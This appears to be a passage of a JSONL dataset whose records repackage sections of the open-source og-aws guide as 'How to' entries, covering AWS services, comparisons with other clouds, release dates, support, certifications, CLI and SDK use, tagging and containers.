warehouse\n\t-\t🐥[QuickSight](https://aws.amazon.com/quicksight/): Business intelligence service\n\t-\t[SES](https://aws.amazon.com/ses/): Send and receive e-mail for marketing or transactions\n\t-\t⛓[API Gateway](https://aws.amazon.com/api-gateway/): Proxy, manage, and secure API calls\n\t-\t⛓[IoT](#iot): Manage bidirectional communication over HTTP, WebSockets, and MQTT between AWS and clients (often but not necessarily “things” like appliances or sensors)\n\t-\t⛓[WAF](https://aws.amazon.com/waf/): Web firewall for CloudFront to deflect attacks\n\t-\t⛓[KMS](#kms): Store and manage encryption keys securely\n\t-\t[Inspector](https://aws.amazon.com/inspector/): Security audit\n\t-\t[Trusted Advisor](https://aws.amazon.com/premiumsupport/trustedadvisor/): Automated tips on reducing cost or making improvements\n\t-\t🐥[Certificate Manager](https://aws.amazon.com/certificate-manager/): Manage SSL/TLS certificates for AWS services\n\t-\t🐥⛓[Fargate](https://aws.amazon.com/fargate/): Docker containers management, backend for ECS and EKS\n-\t**Compound services:** These are similarly specific, but are full-blown services", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977031"}
{"id": "gh_87c53cd55215", "question": "How to: Tools and Services Market Landscape", "question_body": "About open-guides/og-aws", "answer": "There are now enough cloud and “big data” enterprise companies and products that few can keep up with the market landscape.\n\nWe’ve assembled a landscape of a few of the services. This is far from complete, but tries to emphasize services that are popular with AWS practitioners — services that specifically help with AWS, or a complementary, or tools almost anyone using AWS must learn.\n\n![Popular Tools and Services for AWS Practitioners](figures/aws-market-landscape.png)\n\n🚧 *Suggestions to improve this figure? Please [file an issue](CONTRIBUTING.md).*\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977039"}
{"id": "gh_94e498655199", "question": "How to: Common Concepts", "question_body": "About open-guides/og-aws", "answer": "-\t📒 The AWS [**General Reference**](https://docs.aws.amazon.com/general/latest/gr/Welcome.html) covers a bunch of common concepts that are relevant for multiple services.\n-\tAWS allows deployments in [**regions**](https://docs.aws.amazon.com/general/latest/gr/rande.html), which are isolated geographic locations that help you reduce latency or offer additional redundancy. Regions contain availability zones(AZs), which are typically the first tool of choice for [high availability](#high-availability)). AZs are [physically separate from one another](https://www.youtube.com/watch?v=JIQETrFC_SQ&feature=youtu.be&t=1428) even within the same region, and [may span multiple physical data centers](https://blog.rackspace.com/aws-101-regions-availability-zones). While they are connected via low latency links, natural disasters afflicting one should not affect others.\n-\tEach service has API **endpoints** for each region. Endpoints differ from service to service and not all services are available in each region, as listed in [these tables](https://docs.aws.amazon.com/general/latest/gr/rande.html).\n-\t[**Amazon Resource Names (ARNs)**](https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html) are specially formatted identifiers for identifying resources. They start with 'arn:' and are used in many services, and in particular for IAM policies.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977048"}
{"id": "gh_9a6437ab393b", "question": "How to: Service Matrix", "question_body": "About open-guides/og-aws", "answer": "Many services within AWS can at least be compared with Google Cloud offerings or with internal Google services. And often times you could assemble the same thing yourself with open source software. This table is an effort at listing these rough correspondences. (Remember that this table is imperfect as in almost every case there are subtle differences of features!)\n\n| Service                       | AWS                                                                          | Google Cloud                 | Google Internal | Microsoft Azure                    | Other providers                   | Open source “build your own”                               | Openstack     |\n|-------------------------------|------------------------------------------------------------------------------|------------------------------|-----------------|------------------------------------|-----------------------------------|------------------------------------------------------------|------------------------------------------------------------|\n| Virtual server                | EC2                                                                          | Compute Engine (GCE)         |                 | Virtual Machine                    | DigitalOcean                      | OpenStack                                                  | Nova |\n| PaaS                          | Elastic Beanstalk                                                            | App Engine                   | App Engine      | Web Apps                           | Heroku, AppFog, OpenShift | Meteor, AppScale, Cloud Foundry, Convox                    |\n| Serverless, microservices     | Lambda, API Gateway                                                          | Functions                    |                 | Function Apps                      | PubNub Blocks, Auth0 Webtask      | Kong, Tyk                                                  | Qinling |\n| Container, cluster manager    | ECS, EKS, Fargate                                                                 | Container Engine, Kubernetes | Borg or Omega   | Container Service                  |                                   | Kubernetes, Mesos, Aurora                                  |  Zun |\n| Object storage                  | S3                                                                           | Cloud Storage                | GFS             | Storage Account                    | DigitalOcean Spaces               | Swift, HDFS, Minio                                         | Swift |\n| Block storage                 | EBS                                                                          | Persistent Disk              |                 | Storage Account                    | DigitalOcean Volumes              | NFS                                                        | Cinder |\n| SQL datastore                 | RDS                                                                          | Cloud SQL                    |                 | SQL Database                       |                                   | MySQL, PostgreSQL                                          | Trove (stores NoSQL as well) |\n| Sharded RDBMS                 |                                                                              | Cloud Spanner                | F1, Spanner     | Azure Database for PostgreSQL - Hyperscale (Citus) |                                   | Crate.io, CockroachDB                                      |\n| Bigtable                      |                                                                              | Cloud Bigtable               | Bigtable        |                                    |                                   | HBase                                                      |\n| Key-value store, column store | DynamoDB                                                                     | Cloud Datastore              | Megastore       | Tables, DocumentDB                 |                                   | Cassandra, CouchDB, RethinkDB, Redis                       |\n| Memory cache                  | ElastiCache                                                                  | App Engine Memcache          |                 | Redis Cache                        |                                   | Memcached, Redis                                           |\n| Search                        | CloudSearch, Elasticsearch (managed)                                         |                              |                 | Search                             | Algolia, QBox, Elastic Cloud                     | Elasticsearch, Solr                                        |\n| Data warehouse                | Redshift                                                                     | BigQuery                     | Dremel          | SQL Data Warehouse                 | Oracle, IBM, SAP, HP, many others | Greenplum                                                  |\n| Business i", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977089"}
{"id": "gh_7605582ca201", "question": "How to: AWS Product Maturity and Releases", "question_body": "About open-guides/og-aws", "answer": "It’s important to know the maturity of each AWS product. Here is a mostly complete list of first release date, with links to the [release notes](https://aws.amazon.com/releasenotes/). Most recently released services are first. Not all services are available in all regions; see [this table](https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/).\n\n| Service                                                                                                    | Original release | Availability                                                                  | CLI Support | HIPAA Compliant | PCI-DSS Compliant |\n|------------------------------------------------------------------------------------------------------------|------------------|-------------------------------------------------------------------------------|:-----------:|:---------------:|:-----------------:|\n| 🐥[X-Ray](https://aws.amazon.com/releasenotes/AWS-X-Ray?browse=1)\t\t\t\t\t\t\t\t\t\t  | 2016-12          | General\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  |✓            |✓                |✓                   |\n| 🐥[Lex](https://aws.amazon.com/releasenotes/Amazon-Lex?browse=1)                                           | 2016-11          | Preview                                                                       |             |                 |                   |\n| 🐥[Polly](https://aws.amazon.com/releasenotes/Amazon-Polly?browse=1)                                       | 2016-11          | General                                                                       |✓            |✓                |✓                   |\n| 🐥[Rekognition](https://aws.amazon.com/releasenotes/Amazon-Rekognition?browse=1) \t\t\t\t\t\t\t | 2016-11          | General                                                                       |✓            |✓\t\t\t\t |✓  \t\t\t\t|\n| 🐥[Athena](http://docs.aws.amazon.com/athena/latest/ug/what-is.html) \t\t\t\t\t\t\t\t\t\t | 2016-11          | General                                                                       |✓             |✓               |✓\t\t\t\t\t|\n| 🐥[Batch](http://docs.aws.amazon.com/batch/latest/userguide/what-is-batch.html) \t\t\t\t\t\t\t | 2016-11          | General                                                                       |✓             |✓\t\t\t|✓\t\t\t\t\t|\n| 🐥[Database Migration Service](https://aws.amazon.com/releasenotes/AWS-Database-Migration-Service?browse=1) | 2016-03          | General                                                                      |              | ✓         \t\t|\t✓    \t\t\t|\n| 🐥[Certificate Manager](https://aws.amazon.com/blogs/aws/new-aws-certificate-manager-deploy-ssltls-based-apps-on-aws/) | 2016-01          | General                                                            | ✓\t\t   |✓\t\t\t|✓\t\t\t\t\t|\n| 🐥[IoT](https://aws.amazon.com/blogs/aws/aws-iot-now-generally-available/)                                  | 2015-08          | General                                                                       | ✓           |✓\t\t\t|✓\n[13](#user-content-pci-iot)\n|\n| 🐥[WAF](https://aws.amazon.com/releasenotes/AWS-WAF?browse=1)                                               | 2015-10          | General                                                                       | ✓           | ✓         \t\t|\t✓    \t\t\t|\n| 🐥[Data Pipeline](https://aws.amazon.com/releasenotes/AWS-Data-Pipeline?browse=1)                           | 2015-10          | General                                                                       | ✓           |\t\t\t\t|\t\t\t\t\t|\n| 🐥[Elasticsearch](https://aws.amazon.com/releasenotes/Amazon-Elasticsearch-Service?browse=1)                | 2015-10          | General                                                                       | ✓           |✓\t\t\t|✓\t\t\t\t\t|\n| 🐥[Aurora](https://aws.amazon.com/releasenotes/2775579329314699)                                            | 2015-07          | General                                                                       | ✓           | ✓\n[3](#user-content-hipaa-aurora)\n|\t✓\n[3](#user-content-hipaa-aurora)\n|\n| 🐥[Service Catalog](https://aws.amazon.com/releasenotes/AWS-Service-Catalog?browse=1)                       | 2015-07          | General                                                                       | ✓           |✓\t\t\t|✓\t\t\t\t\t|\n| 🐥[Device Farm](https://aws.amazon.com/releasenotes/AWS-Device-Farm?browse=1)                         \t  | 2015-07          | General                                                                       | ✓           |\t\t\t\t|\t\t\t\t\t|\n| 🐥[CodePipeline](https://aws.amazon.com/releasenotes/AWS-CodePipeline?browse=1)                             | 2015-07          | General                                                                       | ✓           |✓\t\t\t|\t\t\t\t\t|\n| 🐥[CodeCommit](https://aws.amazon.com/releasenotes/AWS-CodeCommit?browse=1)                                 | 2015-07          | General                                                                       | ✓           |✓\t\t\t|✓\t\t\t\t\t|\n| 🐥[API Gat", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977143"}
{"id": "gh_b01334d75c39", "question": "How to: Compliance", "question_body": "About open-guides/og-aws", "answer": "-\tMany applications have strict requirements around reliability, security, or data privacy. The [AWS Compliance](https://aws.amazon.com/compliance/) page has details about AWS’s certifications, which include **PCI DSS Level 1**, **SOC 1,2, and 3**, **HIPAA**, and **ISO 9001**.\n-\tSecurity in the cloud is a complex topic, based on a [shared responsibility model](https://aws.amazon.com/compliance/shared-responsibility-model/), where some elements of compliance are provided by AWS, and some are provided by your company.\n-\tSeveral third-party vendors offer assistance with compliance, security, and auditing on AWS. If you have substantial needs in these areas, assistance is a good idea.\n-\tFrom inside **China**, AWS services outside China [are generally accessible](https://en.greatfire.org/aws.amazon.com), though there are at times breakages in service. There are also AWS services [inside China](https://www.amazonaws.cn/en/).", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977154"}
{"id": "gh_7a01cfbb0a7a", "question": "How to: Getting Help and Support", "question_body": "About open-guides/og-aws", "answer": "-\t**Forums:** For many problems, it’s worth searching or asking for help in the [discussion forums](https://forums.aws.amazon.com/index.jspa) to see if it’s a known issue.\n-\t**Premium support:** AWS offers several levels of [premium support](https://aws.amazon.com/premiumsupport/).\n\t-\tThe first tier, called \"Developer support\" lets you file support tickets with 12 to 24 hour turnaround time, it starts at $29 but once your monthly spend reaches around $1000 it changes to a 3% surcharge on your bill.\n\t-\tThe higher-level support services are quite expensive — and increase your bill by up to 10%. Many large and effective companies never pay for this level of support. They are usually more helpful for midsize or larger companies needing rapid turnaround on deeper or more perplexing problems.\n\t-\tKeep in mind, a flexible architecture can reduce need for support. You shouldn’t be relying on AWS to solve your problems often. For example, if you can easily re-provision a new server, it may not be urgent to solve a rare kernel-level issue unique to one EC2 instance. If your EBS volumes have recent snapshots, you may be able to restore a volume before support can rectify the issue with the old volume. If your services have an issue in one availability zone, you should in any case be able to rely on a redundant zone or migrate services to another zone.\n\t-\tLarger customers also get access to AWS Enterprise support, with dedicated technical account managers (TAMs) and shorter response time SLAs.\n\t-\tThere is definitely some controversy about how useful the paid support is. The support staff don’t always seem to have the information and authority to solve the problems that are brought to their attention. Often your ability to have a problem solved may depend on your relationship with your account rep.\n-\t**Account manager:** If you are at significant levels of spend (thousands of US dollars plus per month), you may be assigned (or may wish to ask for) a dedicated account manager.\n\t-\tThese are a great resource, even if you’re not paying for premium support. Build a good relationship with them and make use of them, for questions, problems, and guidance.\n\t-\tAssign a single point of contact on your company’s side, to avoid confusing or overwhelming them.\n-\t**Contact:** The main web contact point for AWS is [here](https://aws.amazon.com/contact-us/). Many technical requests can be made via these channels.\n-\t**Consulting and managed services:** For more hands-on assistance, AWS has established relationships with many [consulting partners](https://aws.amazon.com/partners/consulting/) and [managed service partners](https://aws.amazon.com/partners/msp/). The big consultants won’t be cheap, but depending on your needs, may save you costs long term by helping you set up your architecture more effectively, or offering specific expertise, e.g. security. Managed service providers provide longer-term full-service management of cloud resources.\n-\t**AWS Professional Services:** AWS provides [consulting services](https://aws.amazon.com/professional-services/) alone or in combination with partners.", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977166"}
{"id": "gh_f6f84d45d3da", "question": "How to: Restrictions and Other Notes", "question_body": "About open-guides/og-aws", "answer": "-\t🔸Lots of resources in Amazon have [**limits**](http://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html) on them. This is actually helpful, so you don’t incur large costs accidentally. You have to request that quotas be increased by opening support tickets. Some limits are easy to raise, and some are not. (Some of these are noted in sections below.) Additionally, not all service limits are published.\n\t- **Obtaining Current Limits and Usage:** Limit information for a service may be available from the service API, Trusted Advisor, both or neither (in which case you'll need to contact Support). [This page](http://awslimitchecker.readthedocs.io/en/latest/limits.html) from the awslimitchecker tool's documentation provides a nice summary of available retrieval options for each limit. The [tool](https://github.com/jantman/awslimitchecker) itself is also valuable for automating limit checks.\n-\t🔸[**AWS terms of service**](https://aws.amazon.com/service-terms/) are extensive. Much is expected boilerplate, but it does contain important notes and restrictions on each service. In particular, there are restrictions against using many AWS services in **safety-critical systems**. (Those appreciative of legal humor may wish to review [clause 42.10](https://www.theguardian.com/technology/2016/feb/11/amazon-terms-of-service-zombie-apocalypse).)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977175"}
{"id": "gh_3bf944590b07", "question": "How to: Related Topics", "question_body": "About open-guides/og-aws", "answer": "-\t[OpenStack](https://www.openstack.org/) is a private cloud alternative to AWS used by large companies that wish to avoid public cloud offerings.\n\nLearning and Career Development\n-------------------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977181"}
{"id": "gh_971bc2f96796", "question": "How to: Certifications", "question_body": "About open-guides/og-aws", "answer": "-\t**Certifications:** AWS offers [**certifications**](https://aws.amazon.com/certification/) for IT professionals who want to demonstrate their knowledge.\n  -\t[Certified Cloud Practitioner](https://aws.amazon.com/certification/certified-cloud-practitioner/)\n  -\t[Certified Solutions Architect Associate](https://aws.amazon.com/certification/certified-solutions-architect-associate/)\n  -\t[Certified Developer Associate](https://aws.amazon.com/certification/certified-developer-associate/)\n  -\t[Certified SysOps Administrator Associate](https://aws.amazon.com/certification/certified-sysops-admin-associate/)\n  -\t[Certified Solutions Architect Professional](https://aws.amazon.com/certification/certified-solutions-architect-professional/)\n  -\t[Certified DevOps Engineer Professional](https://aws.amazon.com/certification/certified-devops-engineer-professional/)\n  - [Certified Security – Specialty](https://aws.amazon.com/certification/certified-security-specialty/)\n  - [Certified Advanced Networking – Specialty](https://aws.amazon.com/certification/certified-advanced-networking-specialty/)\n  - [Certified Machine Learning – Specialty](https://aws.amazon.com/certification/certified-machine-learning-specialty/)\n  - [Certified Data Analytics – Specialty](https://aws.amazon.com/certification/certified-data-analytics-specialty/)\n  - [Certified Database – Specialty](https://aws.amazon.com/certification/certified-database-specialty/)\n\nAssociate level certifications were once required as pre-requisites to taking the Professional examinations - this is no longer the case.\n\n-\t**Getting certified:** If you’re interested in studying for and getting certifications, [this practical overview](https://gist.github.com/leonardofed/bbf6459ad154ad5215d354f3825435dc) tells you a lot of what you need to know. The official page is [here](https://aws.amazon.com/training/) and there is an [FAQ](https://aws.amazon.com/certification/faqs/).\n-\t**Training for certifications:** Training is offered by AWS themselves (mainly instructor-led and on-site) and various third-party companies (usually as video-based training) such as [A Cloud Guru](https://acloud.guru/aws-cloud-training), [CloudAcademy](https://cloudacademy.com/library/amazon-web-services/) and [Linux Academy](https://linuxacademy.com/library/topics/AWS/type/Course/).\n-\t**Do you need a certification?** Especially in consulting companies or when working in key tech roles in large non-tech companies, certifications are important credentials. In others, including in many tech companies and startups, certifications are not common or considered necessary. (In fact, fairly or not, some Silicon Valley hiring managers and engineers see them as a “negative” signal on a resume.)\n\nCertifications are required to access certificate lounges at official AWS events such as [Summits](https://aws.amazon.com/events/summits/) and [re:Invent](https://reinvent.awsevents.com). Lounges typically provide power charging points, seats and relatively better coffee.\n\nManaging AWS\n------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977192"}
{"id": "gh_73635b135830", "question": "How to: Managing Infrastructure State and Change", "question_body": "About open-guides/og-aws", "answer": "A great challenge in using AWS to build complex systems (and with DevOps in general) is to manage infrastructure state effectively over time. In general, this boils down to three broad goals for the state of your infrastructure:\n\n-\t**Visibility**: Do you know the state of your infrastructure (what services you are using, and exactly how)? Do you also know when you — and anyone on your team — make changes? Can you detect misconfigurations, problems, and incidents with your service?\n-\t**Automation**: Can you reconfigure your infrastructure to reproduce past configurations or scale up existing ones without a lot of extra manual work, or requiring knowledge that’s only in someone’s head? Can you respond to incidents easily or automatically?\n-\t**Flexibility**: Can you improve your configurations and scale up in new ways without significant effort? Can you add more complexity using the same tools? Do you share, review, and improve your configurations within your team?\n\nMuch of what we discuss below is really about how to improve the answers to these questions.\n\nThere are several approaches to deploying infrastructure with AWS, from the console to complex automation tools, to third-party services, all of which attempt to help achieve visibility, automation, and flexibility.", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977200"}
{"id": "gh_fd07433c1d51", "question": "How to: AWS Configuration Management", "question_body": "About open-guides/og-aws", "answer": "The first way most people experiment with AWS is via its web interface, the AWS Console. But using the Console is a highly manual process, and often works against automation or flexibility.\n\nSo if you’re not going to manage your AWS configurations manually, what should you do? Sadly, there are no simple, universal answers — each approach has pros and cons, and the approaches taken by different companies vary widely, and include directly using APIs (and building tooling on top yourself), using command-line tools, and using third-party tools and services.", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977206"}
{"id": "gh_2754abeb3101", "question": "How to: AWS Console", "question_body": "About open-guides/og-aws", "answer": "-\tThe [AWS Console](https://aws.amazon.com/console/) lets you control much (but not all) functionality of AWS via a web interface.\n-\tIdeally, you should only use the AWS Console in a few specific situations:\n\t-\tIt’s great for read-only usage. If you’re trying to understand the state of your system, logging in and browsing it is very helpful.\n\t-\tIt is also reasonably workable for very small systems and teams (for example, one engineer setting up one server that doesn’t change often).\n\t-\tIt can be useful for operations you’re only going to do rarely, like less than once a month (for example, a one-time VPC setup you probably won’t revisit for a year). In this case using the console can be the simplest approach.\n-\t❗**Think before you use the console:** The AWS Console is convenient, but also the enemy of automation, reproducibility, and team communication. If you’re likely to be making the same change multiple times, avoid the console. Favor some sort of automation, or at least have a path toward automation, as discussed next. Not only does using the console preclude automation, which wastes time later, but it prevents documentation, clarity, and standardization around processes for yourself and your team.", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977213"}
{"id": "gh_ae1405707439", "question": "How to: Command-Line tools", "question_body": "About open-guides/og-aws", "answer": "-\tThe [**aws command-line interface**](https://aws.amazon.com/cli/) (CLI), used via the **aws** command, is the most basic way to save and automate AWS operations.\n-\tDon’t underestimate its power. It also has the advantage of being well-maintained — it covers a large proportion of all AWS services, and is up to date.\n-\tIn general, whenever you can, prefer the command line to the AWS Console for performing operations.\n-\t🔹Even in the absence of fancier tools, you can **write simple Bash scripts** that invoke *aws* with specific arguments, and check these into Git. This is a primitive but effective way to document operations you’ve performed. It improves automation, allows code review and sharing on a team, and gives others a starting point for future work.\n-\t🔹For use that is primarily interactive (not scripted), consider instead using the [**aws-shell**](https://github.com/awslabs/aws-shell) tool from AWS. It is easier to use, with auto-completion and a colorful UI, but still works on the command line. If you’re using [SAWS](https://github.com/donnemartin/saws), a previous version of the program, [you should migrate to aws-shell](https://github.com/donnemartin/saws/issues/68#issuecomment-240067034).", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977222"}
{"id": "gh_da72f0587fb0", "question": "How to: APIs and SDKs", "question_body": "About open-guides/og-aws", "answer": "-\t**SDKs** for using AWS APIs are available in most major languages, with [Go](https://github.com/aws/aws-sdk-go), [iOS](https://github.com/aws/aws-sdk-ios), [Java](https://github.com/aws/aws-sdk-java), [JavaScript](https://github.com/aws/aws-sdk-js), [Python](https://github.com/boto/boto3), [Ruby](https://github.com/aws/aws-sdk-ruby), and [PHP](https://github.com/aws/aws-sdk-php) being most heavily used. AWS maintains [a short list](https://aws.amazon.com/tools/#sdk), but the [awesome-aws list](https://github.com/donnemartin/awesome-aws#sdks-and-samples) is the most comprehensive and current. Note [support for C++](https://github.com/donnemartin/awesome-aws#c-sdk) is [still new](https://aws.amazon.com/blogs/aws/introducing-the-aws-sdk-for-c/).\n-\t**Retry logic:** An important aspect to consider whenever using SDKs is error handling; under heavy use, a wide variety of failures, from programming errors to throttling to AWS-related outages or failures, can be expected to occur. SDKs typically implement [**exponential backoff**](https://docs.aws.amazon.com/general/latest/gr/api-retries.html) to address this, but this may need to be understood and adjusted over time for some applications. For example, it is often helpful to alert on some error codes and not on others.\n-\t❗Don’t use APIs directly. Although AWS documentation includes lots of API details, it’s better to use the SDKs for your preferred language to access APIs. SDKs are more mature, robust, and well-maintained than something you’d write yourself.", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977230"}
{"id": "gh_19054dae4f53", "question": "How to: General Visibility", "question_body": "About open-guides/og-aws", "answer": "-\t🔹[**Tagging resources**](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) is an essential practice, especially as organizations grow, to better understand your resource usage. For example, through automation or convention, you can add tags:\n\t-\tFor the org or developer that “owns” that resource\n\t-\tFor the product that resource supports\n\t-\tTo label lifecycles, such as temporary resources or one that should be deprovisioned in the future\n\t-\tTo distinguish production-critical infrastructure (e.g. serving systems vs backend pipelines)\n\t-\tTo distinguish resources with special security or compliance requirements\n\t-\tTo (once enabled) [allocate cost](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/cost-alloc-tags.html). Note that cost allocation tags only apply on a forward-looking basis; you can't retroactively apply them to items already billed.\n\t-\tFor many years, there was a notorious 10 tag limit per resource, which could not be raised and caused many companies significant pain. As of 2016, this was [raised](https://aws.amazon.com/blogs/security/now-organize-your-aws-resources-by-using-up-to-50-tags-per-resource/) to 50 tags per resource.\n\t-\t🔹In 2017, AWS introduced the ability to [enforce tagging](https://aws.amazon.com/blogs/aws/new-tag-ec2-instances-ebs-volumes-on-creation/) on instance and volume creation, deprecating portions of third party tools such as [Cloud Custodian](https://github.com/capitalone/cloud-custodian).\n\t-\t🔸 Tags are case sensitive; 'environment' and 'Environment' are two different tags. Automation in setting tags is likely the only sensible option at significant scale.\n\t-\t🔸 There is a bug in the ASG console where spaces after tag names are preserved. So if you type \"Name \" with a space at the end you will not get the expected behavior. This is probably true in other locations and SDKs also. Be sure you do not add trailing spaces to tag keys unless you really mean it. (As of Jul 2018)\n\t-\t🔸 When resources are shared across the org, tags are not shared with it. For example, sharing Transit Gateway or AMIs will show the correct tags in the account that created these resources but not in the accounts where these resources were shared.\n\nManaging Servers and Applications\n---------------------------------\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977243"}
{"id": "gh_069db9aef82f", "question": "How to: AWS vs Server Configuration", "question_body": "About open-guides/og-aws", "answer": "This guide is about AWS, not DevOps or server configuration management in general. But before getting into AWS in detail, it’s worth noting that in addition to the configuration management for your AWS resources, there is the long-standing problem of configuration management for servers themselves.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977249"}
{"id": "gh_788149801539", "question": "How to: Server Configuration Management", "question_body": "About open-guides/og-aws", "answer": "-\tThere is a [large set](https://en.wikipedia.org/wiki/Comparison_of_open-source_configuration_management_software) of open source tools for managing configuration of server instances.\n-\tThese are generally not dependent on any particular cloud infrastructure, and work with any variety of Linux (or in many cases, a variety of operating systems).\n-\tLeading configuration management tools are [Puppet](https://github.com/puppetlabs/puppet), [Chef](https://github.com/chef/chef), [Ansible](https://github.com/ansible/ansible), and [Saltstack](https://github.com/saltstack/salt). These aren’t the focus of this guide, but we may mention them as they relate to AWS.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977262"}
{"id": "gh_e2d99376c8f3", "question": "How to: Containers and AWS", "question_body": "About open-guides/og-aws", "answer": "-\t[Docker](http://blog.scottlowe.org/2014/03/11/a-quick-introduction-to-docker/) and the containerization trend are changing the way many servers and services are deployed in general.\n-\tContainers are designed as a way to package up your application(s) and all of their dependencies in a known way. When you build a container, you are including every library or binary your application needs, outside of the kernel. A big advantage of this approach is that it’s easy to test and validate a container locally without worrying about some difference between your computer and the servers you deploy on.\n-\tA consequence of this is that you need fewer AMIs and boot scripts; for most deployments, the only boot script you need is a template that fetches an exported docker image and runs it.\n-\tCompanies that are embracing [microservice architectures](http://martinfowler.com/articles/microservices.html) will often turn to container-based deployments.\n-\tAWS launched [ECS](https://aws.amazon.com/ecs/) as a service to manage clusters via Docker in late 2014, though many people still deploy Docker directly themselves. See the [ECS section](#ecs) for more details.\n-\tAWS launched [EKS](https://aws.amazon.com/eks/) as a service to manage Kubernetes Clusters mid 2018, though many people still deploy ECS or use Docker directly themselves. See the [EKS section](#eks) for more details.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977270"}
{"id": "gh_f8734cc126b7", "question": "How to: Visibility", "question_body": "About open-guides/og-aws", "answer": "-\tStore and track instance metadata (such as instance id, availability zone, etc.) and deployment info (application build id, Git revision, etc.) in your logs or reports. The [**instance metadata service**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) can help collect some of the AWS data you’ll need.\n-\t**Use log management services:** Be sure to set up a way to view and manage logs externally from servers.\n\t-\tCloud-based services such as [Sumo Logic](https://www.sumologic.com/), [Splunk Cloud](http://www.splunk.com/en_us/cloud.html), [Scalyr](https://www.scalyr.com/), [LogDNA](https://www.logdna.com/), and [Loggly](https://www.loggly.com/) are the easiest to set up and use (and also the most expensive, which may be a factor depending on how much log data you have).\n\t-\tMajor open source alternatives include [Elasticsearch](https://github.com/elastic/elasticsearch), [Logstash](https://github.com/elastic/logstash), and [Kibana](https://github.com/elastic/kibana) (the “[Elastic Stack](https://www.elastic.co/webinars/introduction-elk-stack)”) and [Graylog](https://www.graylog.org/).\n\t-\tIf you can afford it (you have little data or lots of money) and don’t 